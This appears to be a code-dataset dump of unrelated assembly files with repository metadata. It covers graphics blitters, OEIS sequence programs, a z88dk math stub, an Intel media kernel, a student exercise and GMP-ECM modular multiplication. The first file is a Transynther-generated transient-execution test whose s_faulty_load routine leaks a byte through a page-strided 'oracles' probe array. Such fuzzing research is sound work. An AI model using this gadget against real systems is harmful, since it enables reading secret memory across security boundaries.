addresses_WT_ht+0x885f, %rsi nop inc %r12 mov $0x6162636465666768, %rbp movq %rbp, (%rsi) nop nop nop nop xor $40861, %rbp pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %rax push %rbp push %rdx // Load lea addresses_D+0x1817f, %r10 nop lfence movb (%r10), %r11b dec %rbp // Faulty Load lea addresses_RW+0x1dcbf, %rbp nop inc %r8 vmovups (%rbp), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r12 lea oracles, %r10 and $0xff, %r12 shlq $12, %r12 mov (%r10,%r12,1), %r12 pop %rdx pop %rbp pop %rax pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 7}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
41.013889
2,999
0.658991
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_918.asm
5,906
Assembly
SECTION code_fp_math16 PUBLIC cm16_sccz80_sqrt EXTERN cm16_sccz80_read1, asm_f16_sqrt cm16_sccz80_sqrt: call cm16_sccz80_read1 jp asm_f16_sqrt
14.090909
38
0.832258
[ "Unlicense" ]
drunkfly/gamemyx
Tools/z88dk/libsrc/_DEVELOPMENT/math/float/math16/c/sccz80/cm16_sccz80_sqrt.asm
155
Assembly
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: mov (1|M0) r22.4<1>:ud 0x1000100:ud mov (4|M0) acc0.0<1>:w 0x2406:v add (4|M0) acc0.0<1>:w acc0.0<4;4,1>:w 0x40:uw shl (4|M0) r22.0<1>:w acc0.0<4;4,1>:w 0x5:uw (W&~f0.1)jmpi L640 L80: mov (8|M0) r16.0<1>:ud r0.0<8;8,1>:ud mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud cmp (1|M0) (eq)f1.0 null.0<1>:w r24.2<0;1,0>:ub 0x1:uw add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC100:ud mov (1|M0) r16.2<1>:ud 0xE000:ud (~f1.0) mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f (~f1.0) mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f (f1.0) mov (1|M0) r17.2<1>:f r10.0<0;1,0>:f (f1.0) mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f send (1|M0) r64:uw r16:ub 0x2 a0.0 (~f1.0) mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f (~f1.0) mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f (f1.0) mov (1|M0) r17.2<1>:f r10.0<0;1,0>:f (f1.0) mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f send (1|M0) r72:uw r16:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EC201:ud mov (1|M0) r16.2<1>:ud 0xC000:ud (~f1.0) mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f (~f1.0) mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f (f1.0) mov (1|M0) r17.2<1>:f r10.0<0;1,0>:f (f1.0) mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f send (1|M0) r68:uw r16:ub 0x2 a0.0 (~f1.0) mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f (~f1.0) mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f (f1.0) mov (1|M0) r17.2<1>:f r10.0<0;1,0>:f (f1.0) mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f send (1|M0) r76:uw r16:ub 0x2 a0.0 mov (16|M0) r66.0<1>:uw 0xFFFF:uw mov (16|M0) r67.0<1>:uw 0xFFFF:uw mov (16|M0) r74.0<1>:uw 0xFFFF:uw mov (16|M0) r75.0<1>:uw 0xFFFF:uw mov (1|M0) a0.8<1>:uw 0x800:uw mov (1|M0) a0.9<1>:uw 0x880:uw mov (1|M0) a0.10<1>:uw 0x8C0:uw add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw L640: nop
63.970149
98
0.418339
[ "MIT" ]
mintaka33/media-driver-non-kmd
media-driver/media_driver/agnostic/gen10/vp/kernel/Source/PL2_444Scale16_Buf_0_Rot_270.asm
4,286
Assembly
; A142800: Primes congruent to 2 mod 61. ; Submitted by Jon Maiga ; 2,307,673,1039,1283,2137,2381,2503,3967,4211,4943,5309,5431,6163,6529,7993,8237,8969,9091,10067,10433,10799,11287,11897,12263,14947,15313,15679,15923,16411,17021,17387,17509,18119,18973,19583,19949,20071,20681,21169,22511,22877,23609,24097,25073,25439,25561,26171,26293,26903,28001,28123,29221,29587,30197,30319,31051,32027,33247,33613,33857,34589,35809,36541,37273,37517,38371,38737,39103,40933,41177,41299,41543,42397,42641,44959,45569,45691,46301,47521,48131,48497,48619,51059,51913,52889,53377 mov $2,$0 add $2,6 pow $2,2 lpb $2 mov $3,$4 add $3,1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,61 lpe mov $0,$4 add $0,2
36.681818
499
0.73482
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/142/A142800.asm
807
Assembly
DATA SEGMENT A DB 8,24,12,14,10,20,30,16,22 ;array of numbers NA EQU 9 ;length of the array A B DB 20,6,30,12,15,32,22 ;array of numbers NB EQU 7 ;length of the array B C DB 30,27,8,4,25,20,15,36 ;array of numbers NC EQU 8 ;length of the array C D DB NA+NB DUP (?) ;the array of numbers that are in A and B, but not in C ND DB 0 ;length of the array D DATA ENDS sseg segment stack dw 100h dup(?) sseg ends cseg segment assume ds:DATA,cs:cseg,ss:sseg sort proc ;initialization before sorting array D L7: mov ah,0 mov di,0 mov cx,bx ;sort L9: mov al,D[di] cmp al,D[di+1] jbe L8 xchg al,D[di+1] mov D[di],al mov ah,1 ;progress of array D L8: inc di loop L9 cmp ah,1 je L7 ret sort endp start: mov ax,DATA mov ds,ax ;initialization mov bx,0 mov si,0 mov dx,NA ;start L3: mov al,A[si] jmp L5 ;progress of array A L2: inc si dec dx jnz L3 jmp SOF ;initialization for array B L5: mov di,0 mov cx,NB ;check if number is in array B L6: cmp al,B[di] je L1 ;number is in array B inc di loop L6 jmp L2 ;number is not in array B ;initialization for array C L1: mov di,0 mov cx,NC ;check if number is not in array C L4: cmp al,C[di] je L2 inc di loop L4 ;entry number to array D mov D[bx],al inc bx inc ND jmp L2 ;sorting dec bx call sort SOF: mov ah,4ch int 21h cseg ends end start
19.3875
80
0.586718
[ "MIT" ]
Avigdor-Kolonimus/ASM
Gilaion4-Elhanan/q3.asm
1,551
Assembly
; A029739: Numbers that are congruent to {1, 3, 4} mod 6. ; Submitted by Christian Krause ; 1,3,4,7,9,10,13,15,16,19,21,22,25,27,28,31,33,34,37,39,40,43,45,46,49,51,52,55,57,58,61,63,64,67,69,70,73,75,76,79,81,82,85,87,88,91,93,94,97,99,100,103,105,106,109,111,112,115,117,118,121,123,124 mul $0,36 div $0,27 add $0,1 mul $0,6 div $0,4
33.7
198
0.670623
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/029/A029739.asm
337
Assembly
; size_t ba_priority_queue_capacity_fastcall(ba_priority_queue_t *q) SECTION code_clib SECTION code_adt_ba_priority_queue PUBLIC _ba_priority_queue_capacity_fastcall EXTERN asm_ba_priority_queue_capacity defc _ba_priority_queue_capacity_fastcall = asm_ba_priority_queue_capacity
23.666667
74
0.908451
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sdcc_ix/ba_priority_queue_capacity_fastcall.asm
284
Assembly
printf: pusha mov ah, 0x0e ; Teletype output function str_loop: mov al, [si] ; Load a character byte to al cmp al, 0 jne print_char ; if al != 0, jmp to print_char popa ret print_char: int 0x10 ; 0x10 interrupt inc si ; add 1 to si jmp str_loop
19.266667
50
0.619377
[ "Apache-2.0" ]
100009337131285/OS_Developement
src/boot/printf.asm
289
Assembly
; A180004: Nearest integer to n*(27/26) ; 1,2,3,4,5,6,7,8,9,10,11,12,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,68,69,70,71,72,73,74,75 mov $1,222222222 add $1,$0 div $1,26 add $1,$0 sub $1,8547007 mov $0,$1
32.2
208
0.645963
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/180/A180004.asm
322
Assembly
segment .rdata, align=16 correct dq 0000800000008000h round dq 0000200000002000h round1 dq 0000020000000200h round2 dq 0002000000020000h segment .text %include "a_triblt.inc" extern _kVDCubicInterpTableFX14_075_MMX ;-------------------------------------------------------------------------- global _vdasm_triblt_span_bilinear_mmx _vdasm_triblt_span_bilinear_mmx: push ebp push edi push esi push ebx mov edi,[esp+4+16] mov edx,[edi+texinfo.dst] mov ebp,[edi+texinfo.w] shl ebp,2 mov ebx,[edi+texinfo.mips+mipmap.bits] add edx,ebp mov esi,[edi+texinfo.mips+mipmap.pitch] neg ebp movd mm6,[edi+texinfo.mips+mipmap.uvmul] pxor mm7,mm7 mov edi,[edi+texinfo.src] .xloop: movq mm4,[edi] movq mm0,mm4 psrld mm0,16 movq mm5,mm4 packssdw mm0,mm0 pmaddwd mm0,mm6 add edi,8 punpcklwd mm4,mm4 punpckldq mm4,mm4 movd ecx,mm0 add ecx,ebx psrlw mm4,1 movd mm0,dword [ecx] movd mm1,dword [ecx+4] punpcklbw mm0,mm7 movd mm2,dword [ecx+esi] punpcklbw mm1,mm7 movd mm3,dword [ecx+esi+4] punpcklbw mm2,mm7 punpcklbw mm3,mm7 psubw mm1,mm0 psubw mm3,mm2 paddw mm1,mm1 paddw mm3,mm3 pmulhw mm1,mm4 pmulhw mm3,mm4 punpckhwd mm5,mm5 punpckldq mm5,mm5 paddw mm0,mm1 psrlw mm5,1 paddw mm2,mm3 psubw mm2,mm0 paddw mm2,mm2 pmulhw mm2,mm5 paddw mm0,mm2 packuswb mm0,mm0 movd dword [edx+ebp],mm0 add ebp,4 jnc .xloop pop ebx pop esi pop edi pop ebp emms ret ;-------------------------------------------------------------------------- global _vdasm_triblt_span_trilinear_mmx _vdasm_triblt_span_trilinear_mmx: push ebp push edi push esi push ebx mov esi,[esp+4+16] mov edx,[esi+texinfo.dst] mov ebp,[esi+texinfo.w] shl ebp,2 add edx,ebp neg ebp mov edi,[esi+texinfo.src] pxor mm7,mm7 .xloop: movd mm6,[edi+mipspan.u] punpckldq mm6,[edi+mipspan.v] mov eax,[edi+mipspan.lambda] shr eax,4 and eax,byte -16 movd mm2,eax psrlq mm2,4 psrld mm6,mm2 paddd mm6,[correct] ;fetch mipmap 1 mov ebx,[esi+eax+mipmap.pitch] movd mm1,[esi+eax+mipmap.uvmul] movq mm4,mm6 movq mm0,mm6 psrld mm0,16 packssdw mm0,mm0 pmaddwd mm0,mm1 movq mm5,mm4 punpcklwd mm4,mm4 punpckldq mm4,mm4 punpckhwd mm5,mm5 punpckldq mm5,mm5 movd ecx,mm0 add ecx,[esi+eax+mipmap.bits] psrlw mm4,1 movd mm0,dword [ecx] movd mm1,dword [ecx+4] punpcklbw mm0,mm7 movd mm2,dword [ecx+ebx] punpcklbw mm1,mm7 movd mm3,dword [ecx+ebx+4] punpcklbw mm2,mm7 punpcklbw mm3,mm7 psubw mm1,mm0 psubw mm3,mm2 paddw mm1,mm1 paddw mm3,mm3 pmulhw mm1,mm4 pmulhw mm3,mm4 paddw mm0,mm1 psrlw mm5,1 paddw mm2,mm3 psubw mm2,mm0 paddw mm2,mm2 pmulhw mm2,mm5 paddw mm0,mm2 ;fetch mipmap 2 mov ebx,[esi+eax+16+mipmap.pitch] movd mm1,[esi+eax+16+mipmap.uvmul] paddd mm6,[correct] psrld mm6,1 movq mm4,mm6 psrld mm6,16 packssdw mm6,mm6 pmaddwd mm6,mm1 movq mm5,mm4 punpcklwd mm4,mm4 punpckldq mm4,mm4 punpckhwd mm5,mm5 punpckldq mm5,mm5 movd ecx,mm6 add ecx,[esi+eax+16+mipmap.bits] psrlw mm4,1 movd mm6,dword [ecx] movd mm1,dword [ecx+4] punpcklbw mm6,mm7 movd mm2,dword [ecx+ebx] punpcklbw mm1,mm7 movd mm3,dword [ecx+ebx+4] punpcklbw mm2,mm7 punpcklbw mm3,mm7 psubw mm1,mm6 psubw mm3,mm2 paddw mm1,mm1 paddw mm3,mm3 pmulhw mm1,mm4 pmulhw mm3,mm4 paddw mm6,mm1 psrlw mm5,1 paddw mm2,mm3 psubw mm2,mm6 paddw mm2,mm2 pmulhw mm2,mm5 paddw mm6,mm2 ;blend mips movd mm1,[edi+mipspan.lambda] punpcklwd mm1,mm1 punpckldq mm1,mm1 psllw mm1,8 psrlq mm1,1 psubw mm6,mm0 paddw mm6,mm6 pmulhw mm6,mm1 paddw mm0,mm6 packuswb mm0,mm0 movd dword [edx+ebp],mm0 add edi, mipspan_size add ebp,4 jnc .xloop pop ebx pop esi pop edi pop ebp emms ret ;-------------------------------------------------------------------------- %macro .SETUPADDR 1 ;compute mipmap index and UV movd mm0, [edi + mipspan.u] punpckldq mm0, [edi + mipspan.v] mov ebx, [edi + mipspan.lambda] shr ebx, 4 and ebx, byte -16 add ebx, mipmap_size*%1 movd mm2, ebx add ebx, [esp + .af_mipbase] psrlq mm2, 4 psrad mm0, mm2 paddd mm0, [correct] movq mm1, mm0 psrlq mm1, 32 ;compute horizontal filters movd ecx, mm0 shr ecx, 4 and ecx, 0ff0h add ecx, _kVDCubicInterpTableFX14_075_MMX ;compute vertical filter movd edx, mm1 and edx, 0ff00h shr edx, 4 add edx, _kVDCubicInterpTableFX14_075_MMX ;compute texel address movd mm1, [ebx + mipmap.uvmul] psrld mm0, 16 packssdw mm0, mm0 pmaddwd mm0, mm1 movd eax, mm0 add eax, [ebx + mipmap.bits] %endmacro %macro .HCUBIC 4 movd %1, dword [eax] punpcklbw %1, qword [eax+4] movd %3, dword [eax+8] punpcklbw %3, qword [eax+12] movq %2, %1 movq %4, %3 punpcklbw %1, mm7 pmaddwd %1, [ecx] punpcklbw %3, mm7 pmaddwd %3, [ecx+8] punpckhbw %2, mm7 pmaddwd %2, [ecx] punpckhbw %4, mm7 pmaddwd %4, [ecx+8] paddd %1, %3 paddd %2, %4 %endmacro %macro .VCUBIC 1 .HCUBIC mm0, mm1, mm2, mm3 add eax, %1 .HCUBIC mm4, mm5, mm2, mm3 add eax, %1 movq mm2, [round1] paddd mm0, mm2 paddd mm1, mm2 paddd mm4, mm2 paddd mm5, mm2 psrad mm0, 10 psrad mm1, 10 psrad mm4, 10 psrad mm5, 10 packssdw mm0, mm0 packssdw mm1, mm1 packssdw mm4, mm4 packssdw mm5, mm5 punpcklwd mm0, mm4 punpcklwd mm1, mm5 movq mm3, [edx] pmaddwd mm0, mm3 pmaddwd mm1, mm3 movq [esp + .af_htemp0], mm0 movq [esp + .af_htemp1], mm1 .HCUBIC mm0, mm1, mm2, mm3 add eax, %1 .HCUBIC mm4, mm5, mm2, mm3 movq mm2, [round1] paddd mm0, mm2 paddd mm1, mm2 paddd mm4, mm2 paddd mm5, mm2 psrad mm0, 10 psrad mm1, 10 psrad mm4, 10 psrad mm5, 10 packssdw mm0, mm0 packssdw mm1, mm1 packssdw mm4, mm4 packssdw mm5, mm5 punpcklwd mm0, mm4 punpcklwd mm1, mm5 movq mm2, [round2] movq mm3, [edx + 8] pmaddwd mm0, mm3 pmaddwd mm1, mm3 paddd mm0, [esp + .af_htemp0] paddd mm1, [esp + .af_htemp1] paddd mm0, mm2 paddd mm1, mm2 psrad mm0, 18 psrad mm1, 18 packssdw mm0, mm1 %endmacro global _vdasm_triblt_span_bicubic_mip_linear_mmx _vdasm_triblt_span_bicubic_mip_linear_mmx: ;parameters %define .p_texinfo 20 ;aligned frame %define .af_htemp0 0 %define .af_htemp1 8 %define .af_vtemp0 16 %define .af_mipbase 24 %define .af_prevesp 28 %define .afsize 32 push ebp lea ebp, [esp-12] push edi push esi push ebx sub esp, .afsize and esp, -8 mov [esp + .af_prevesp], ebp mov ebx, [ebp + .p_texinfo] mov ebp, [ebx + texinfo.dst] mov esi, [ebx + texinfo.w] shl esi, 2 add ebp,esi neg esi mov edi, [ebx + texinfo.src] mov [esp + .af_mipbase], ebx pxor mm7, mm7 .xloop: ;registers: ; eax base texel address ; ebx first mip info ; ecx horizontal filter ; edx vertical filter ; esi horizontal count ; edi mipspan ; ebp destination ;fetch mipmap 1 .SETUPADDR 0 .VCUBIC [ebx+mipmap.pitch] movq [esp + .af_vtemp0], mm0 ;fetch mipmap 2 .SETUPADDR 1 .VCUBIC [ebx+mipmap.pitch] ;blend mips movq mm1, [esp + .af_vtemp0] psubw mm0, mm1 movd mm3,[edi+mipspan.lambda] punpcklwd mm3,mm3 punpckldq mm3,mm3 psllw mm3,8 psrlq mm3,1 paddw mm0,mm0 pmulhw mm0,mm3 paddw mm0,mm1 packuswb mm0,mm0 movd dword [ebp+esi],mm0 add edi, mipspan_size add esi,4 jnc .xloop mov esp, [esp + .af_prevesp] pop ebx pop esi pop edi pop ebp emms ret end
19.443662
76
0.591573
[ "MIT" ]
wurui1994/AviSynth
xy-VSFilter/src/thirdparty/VirtualDub/Kasumi/source/a_triblt_mmx.asm
8,283
Assembly
; A269027: Parity of the number of 1's in A039724(n). ; 0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1 add $0,170 mov $2,2 lpb $0,1 add $1,$0 div $0,2 lpe mod $1,$2
56.636364
501
0.518459
[ "Apache-2.0" ]
karttu/loda
programs/oeis/269/A269027.asm
623
Assembly
;***************************************************************** ;* - Description: Device definition file for RC Calibration ;* - File: t24.asm ;* - AppNote: AVR053 - Production calibration of the ;* RC oscillator ;* ;* - Author: Atmel Corporation: http://www.atmel.com ;* Support email: avr@atmel.com ;* ;* $Name$ ;* $Revision: 56 $ ;* $RCSfile$ ;* $Date: 2006-02-16 17:44:45 +0100 (to, 16 feb 2006) $ ;***************************************************************** .include "tn24def.inc" .include "Common\memoryMap.inc" .include "Device specific\t24_family_pinout.inc" .EQU OSC_VER = 5 .equ TCCR0 = TCCR0B .equ TIFR = TIFR0 .equ EEMWE = EEMPE .equ EEWE = EEPE
28.538462
66
0.493261
[ "CC0-1.0" ]
smart-electro/BMS_SLAVE_V2.0
Software/AtTiny_programmer/RC calib Projekt/Device specific/t24.asm
742
Assembly
;************************************************************************** ; arch/z80/src/ez80/ez80_getsp.asm ; ; Licensed to the Apache Software Foundation (ASF) under one or more ; contributor license agreements. See the NOTICE file distributed with ; this work for additional information regarding copyright ownership. The ; ASF licenses this file to you under the Apache License, Version 2.0 (the ; "License"); you may not use this file except in compliance with the ; License. You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT ; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the ; License for the specific language governing permissions and limitations ; under the License. ; ;************************************************************************** ;************************************************************************** ; Global Symbols Exported ;************************************************************************** xdef _z80_getsp ;************************************************************************** ; Code ;************************************************************************** segment CODE .assume ADL=1 ;************************************************************************** ;* Name: _z80_getsp ;* ;* Description: ;* Return the current value of the stack pointer ;* ;************************************************************************** _z80_getsp: ld hl, #0 ; Initialize HL to zero add hl, sp ; Add the stack pointer to HL ret ; Return stack pointer in HL end
36.375
75
0.485109
[ "Apache-2.0" ]
1838854997/incubator-nuttx
arch/z80/src/ez80/ez80_getsp.asm
1,746
Assembly
# mp_limb_t mulredc17(mp_limb_t * z, const mp_limb_t * x, const mp_limb_t * y, # const mp_limb_t *m, mp_limb_t inv_m); # # Stack: # inv_m ## parameters # m # y # x # z (4*(2k+7))%esp # ??? (1 limb???) # ebp ## pushed registers (4*(2k+5))%esp # edi # esi # ebx # ... ## counter (1 mp_limb_t) (4*(2k+1))%esp # ... ## tmp space (2*k+1 mp_limb_t) include(`config.m4') TEXT GLOBL GSYM_PREFIX`'mulredc17 TYPE(GSYM_PREFIX`'mulredc17,`function') GSYM_PREFIX`'mulredc17: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $144, %esp movl %esp, %edi ### set tmp[0..2k+1[ to 0 movl $0, (%edi) movl $0, 4(%edi) movl $0, 8(%edi) movl $0, 12(%edi) movl $0, 16(%edi) movl $0, 20(%edi) movl $0, 24(%edi) movl $0, 28(%edi) movl $0, 32(%edi) movl $0, 36(%edi) movl $0, 40(%edi) movl $0, 44(%edi) movl $0, 48(%edi) movl $0, 52(%edi) movl $0, 56(%edi) movl $0, 60(%edi) movl $0, 64(%edi) movl $0, 68(%edi) movl $0, 72(%edi) movl $0, 76(%edi) movl $0, 80(%edi) movl $0, 84(%edi) movl $0, 88(%edi) movl $0, 92(%edi) movl $0, 96(%edi) movl $0, 100(%edi) movl $0, 104(%edi) movl $0, 108(%edi) movl $0, 112(%edi) movl $0, 116(%edi) movl $0, 120(%edi) movl $0, 124(%edi) movl $0, 128(%edi) movl $0, 132(%edi) movl $0, 136(%edi) ########################################### movl $17, 140(%esp) .align 32 Loop: ## compute u and store in %ebp movl 168(%esp), %eax movl 172(%esp), %esi movl (%eax), %eax mull (%esi) addl (%edi), %eax mull 180(%esp) movl %eax, %ebp movl 176(%esp), %esi ### addmul1: src[0] is (%esi) ### dst[0] is (%edi) ### mult is %ebp ### k is 17 ### kills %eax, %ebx, %ecx, %edx ### dst[0,k[ += mult*src[0,k[ plus carry put in ecx or ebx movl (%esi), %eax mull %ebp movl %eax, %ebx movl %edx, %ecx movl 4(%esi), %eax mull %ebp addl %ebx, (%edi) movl $0, %ebx adcl %eax, %ecx movl 8(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 4(%edi) movl $0, %ecx adcl %eax, %ebx movl 12(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 8(%edi) movl $0, %ebx adcl %eax, %ecx movl 16(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 12(%edi) movl $0, %ecx adcl %eax, %ebx movl 20(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 16(%edi) movl $0, %ebx adcl %eax, %ecx movl 24(%esi), %eax adcl %edx, %ebx mull %ebp 